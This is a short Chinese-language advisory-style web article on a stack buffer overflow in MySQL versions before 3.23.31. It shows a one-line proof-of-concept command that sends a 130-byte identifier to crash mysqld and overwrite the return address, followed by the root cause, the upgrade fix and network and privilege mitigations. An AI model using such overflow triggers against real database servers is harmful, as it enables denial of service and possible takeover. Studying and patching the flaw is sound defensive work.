首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

MySQL 3.23.31 之前版本緩衝區溢位漏洞:成因、複現與修補方案

     編輯:MySQL 資料庫相關知識

所有 3.23.31 之前版本 存在緩衝區溢位漏洞,攻擊者需合法帳密即可觸發 mysqld 崩潰並取得進程權限,進而控制所有資料庫。

漏洞複現步驟 (João Gouveia 發現)

  1. 終端 1 啟動 MySQL:/sbin/init.d/mysql start
  2. 終端 2 執行攻擊載荷:
    mysql -p -e 'select a.'`perl -e 'printf("A"x130)'`.b'
    輸入密碼後無回應,按 Ctrl+C 退出。
  3. 終端 1 顯示:
    Segmentation fault ... mysqld restarted
  4. GDB 分析:eip = 0x41414141 (即 AAAA),證明返回地址被覆寫,典型棧溢位。

根本原因

SELECT 解析階段對識別符長度缺乏邊界檢查,超長識別符 (130 字節 A) 覆蓋棧框架返回地址。

唯一修補方案

升級至 3.23.31 或更新版本。官方已修補邊界檢查邏輯。

臨時緩解 (無法升級時)

  • 嚴格限制資料庫帳號權限,最小化授權面。
  • 網路層面限制 MySQL 埠 (3306) 僅信任 IP 可達。
  • 監控 mysqld 異常重啟日誌,配合入侵檢測系統告警。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved